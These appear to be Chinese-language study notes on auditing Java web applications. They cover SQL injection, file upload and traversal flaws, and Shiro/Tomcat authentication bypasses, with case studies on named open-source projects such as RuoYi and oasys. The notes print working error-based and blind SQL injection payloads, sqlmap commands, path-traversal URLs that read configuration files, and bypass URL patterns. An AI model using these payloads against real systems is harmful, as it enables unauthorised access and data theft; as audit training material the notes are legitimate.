java基础漏洞代码审计
配置信息了解
查看配置文件:
├── pom.xml # Maven项目配置主要是组件的版本信息
├── src/main/resources/conf(这个目录可以没有)/*.properties#
主配置目录,一些组件的配置的信息入mybatis,shiro,log4j,springboot(application.propreties有数据库的配置信息还有启动路劲端口信息,日志配置信息)
├── src/main/resources/templates 模板文件
├── src/main/resources/mappers mybatis的xml文件,主要用于定义sql语句。
├── src/main/java/包名(cn.gson.oasys)/controller 处理http请求
├── src/main/java/包名(cn.gson.oasys)/services 具体功能的逻辑代码的实现
├── src/main/java/包名(cn.gson.oasys)/model 定义处理数据类型
├── src/main/java/包名(cn.gson.oasys)/common 公共资源
├── formValid/ # 表单验证相关
└── Interceptor/ # 请求拦截器
└── src/main/webapp/WEB-INF/ # Web配置
└── web.xml # Web主配置 Web 应用的主要配置文件,定义了应用的Servlet、过滤器、监听器
sql注入
1.jdbc
字符串拼接: + 号拼接,StringBuilder.append(),String.concat()
搜append(,concat(
2.mybtis
mybatis定义sql语句的地方位于 /mapper/*.xml文件中
安全写法:使用#{} (预编译参数)
不安全写法使用${}
搜
${
3.容易产生注入的地方
不能使用预编译容易产生sql注入的地方:1.模糊查询like语句后面,2.order by排序 ,3.IN子句,4.HAVING子句
这些后面进行sql注入可能会受到限制
这些地方在使用sqlmap的时候可能要使用下面参数
sqlmap --level 5 --risk 3
报错注入payload:
1 and (SELECT updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))
1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
?orderColumn=1 AND EXTRACTVALUE(1040,CONCAT(0x5c,0x7178766b71,(SELECT (ELT(1040=1040,1))),0x717a767871))
4.案例
案例一:jfinal_cms-4.5.0
从pom.xml发现未使用数据库框架采用的mysql搜索append(:在文件中搜索发现多处都存在sql注入
随便点击一个发现/admin/concat/路由对应的list方法存在注入
对应前台的查询功能:
sqlmap梭哈
其他参数也存在sql注入
Parameter: attr.name (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: form.orderColumn=&form.orderAsc=&attr.name=1' AND 7388=(SELECT (CASE WHEN (7388=7388) THEN 7388 ELSE (SELECT 2007 UNION SELECT 6422) END))-- -&totalRecords=1&pageNo=1&pageSize=20&length=10&orderBy=1'
案例二mybatis:oa_system
从pom.xml中发现了mybatis框架
sql的语句定义在/reSources/mappers/*.xml中,发现不安全写法
从后往前推
${baseKey}->sortMyNotice->sortMyNotice->informListPaging()
${pinyin}->allDirector->outaddresspaging()
路由触发方法/informListPaging,参数basekey
路由触发方法/outaddresspaging,参数alph
python sqlmap.py -r a.txt --batch --risk=3 --level=5
案例三mybatis:RuoYi-v4.6.0
从依赖库中发现了mybatis
发现不安全写法
从后往前推:
${ancestors}->updateDeptStatus->updateParentDeptStatus->updateDept->editSave()
对应功能点部门编辑
触发方法/system/dept/edit 参数:ancestors
文件类的漏洞
// 文件操作
new FileInputStream(
new FileOutputStream(
new File(
FileUtils.
IOUtils.
// 文件上传
MultipartFile
file.getOriginalFilename(
file.transferTo(
// 文件下载
response.setContentType("application/octet-stream")
getFile
download
// 目录操作
.mkdirs(
.createNewFile(
1.优先搜索:
new FileInputStream(
2.案例
案例1-文件上传-Inxedu
对应代码段
上传jspx绕过检测
路由地址:
POST /inxedu_war/image/gok4?fileType=jspx,jpg,gif,png,jpeg¶m=temp
案例2-配合过滤器绕过进后台进行上传-Tmall
只要匹配到url包含/admin/login就通过,配合../进行绕过验证
后台存在文件上传
根据路由找到代码段
发现未经过任何过滤
案例3-文件下载-Ruoyi
搜:FileInputStream(
writeBytes->resourceDownload->resource
跟踪出路由:/common/download/resource?resource=/profile/../RuoYi-v4.5.0/ruoyi-admin/src/main/resources/application.yml
必须包含:profile再../绕过
案例4-文件读取-Oasys
搜:new FileInputStream(
image->f.getPath()->path->startpath
检测到2个../../会报错,但是一个../顺利执行,页面源码中对url中"/image"去除,所以可以嵌套../来实现路劲穿越读取flag
?path=/image/../image/../image/../image/../image/../image/../image/../image/../image/flag.txt
未授权访问
1.鉴权方法:
1.Interceptor拦截器
src/main/java/包名/interceptor
2.filter过滤器
src/main/java/包名/filter
3.shiro框架
src/main/resource/**
1.shiro版本自身漏洞绕过
CVE-2020-1957
客户端请求URL: /xxx/..;/admin/
Shrio 内部处理得到校验URL为 /xxxx/..,校验通过
SpringBoot 处理 /xxx/..;/admin/ , 最终请求 /admin/, 成功访问了后台请求。
CVE-2020-11989
客户端请求URL: /;/test/admin/page
Shrio 内部处理得到校验URL为/,校验通过
SpringBoot最终请求 /admin/page, 成功访问了后台请求。
CVE-2020-13933
客户端请求URL:/admin/;page
Shrio 内部处理得到校验URL为/admin/,校验通过
SpringBoot最终请求 /admin/;page, 成功访问了后台请求。
2.shiro配置不当
配置了允许匿名访问
tumo.shiro.anon_url=/comment/**
DELETE /comment/1 任意文件删除
4.jwt
采取默认key
SecretKey012345678901234567890123456789012345678901234567890123456789
2.绕过手法
1.分号;处理
tomcat会自动去除掉;后面的字符比如
/;a.png/admin==/admin
/admin/;.png==/admin
/admin/;.js==/admin
/admin/;.css==/admin
2.斜杆/处理
tomcat会自动处理多余的/比如
/////admin==/admin
3../和../
tomcat会自动处理掉多的./
/;a.png/admin==/admin
4.总结
黑名单绕过以/admin开头可以尝试
/;a.png/admin==/admin
/////admin==/admin
/;a.png/admin==/admin
白名单匹配png,css,js结尾的文件放行可以尝试
/admin/;.png==/admin
/admin/;.js==/admin
/admin/;.css==/admin
/user/list/;.css?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D¤tPage=1&pageSize=10
目录穿越../
/..;abc/实现跨目录,常用在../被禁用的场景下
白名单检测url中有js/css/png/login.html放行,则可以尝试目录穿越
/a.js/../account/getAccount
/index.html/../account/getAccount
3.案例
案例一:NewbeeMall使用Interceptor拦截器进行身份认证
直接绕过:/admin/;.js
使用Filter过滤器进行鉴权
案例二:华夏ERP-使用过滤器进行鉴权
url中包含login.html,register.html就通过
案例三-Tumo-Shiro做验证
shiro配置不当
tumo.shiro.anon_url=\
/login,/logout,/register,\
/,/about,/p/**,/links,/comment/**,/link/list,/article/list,\
/css/**,/js/**,/img/**
可以访问/comment及comment后面任意路径如/comment/1
delete方法删除
ssti模板注入
对应功能点:模板管理
利用条件:可控变量(传参,sql注入)
利用poc:https://github.com/vladko312/SSTImap
JavaEE审计-CheckList
https://mp.weixin.qq.com/s/Y90mGgCqzjj0T1NX9E5wDw
https://mp.weixin.qq.com/s/COXCjMItvrcOCNcqEfbmDg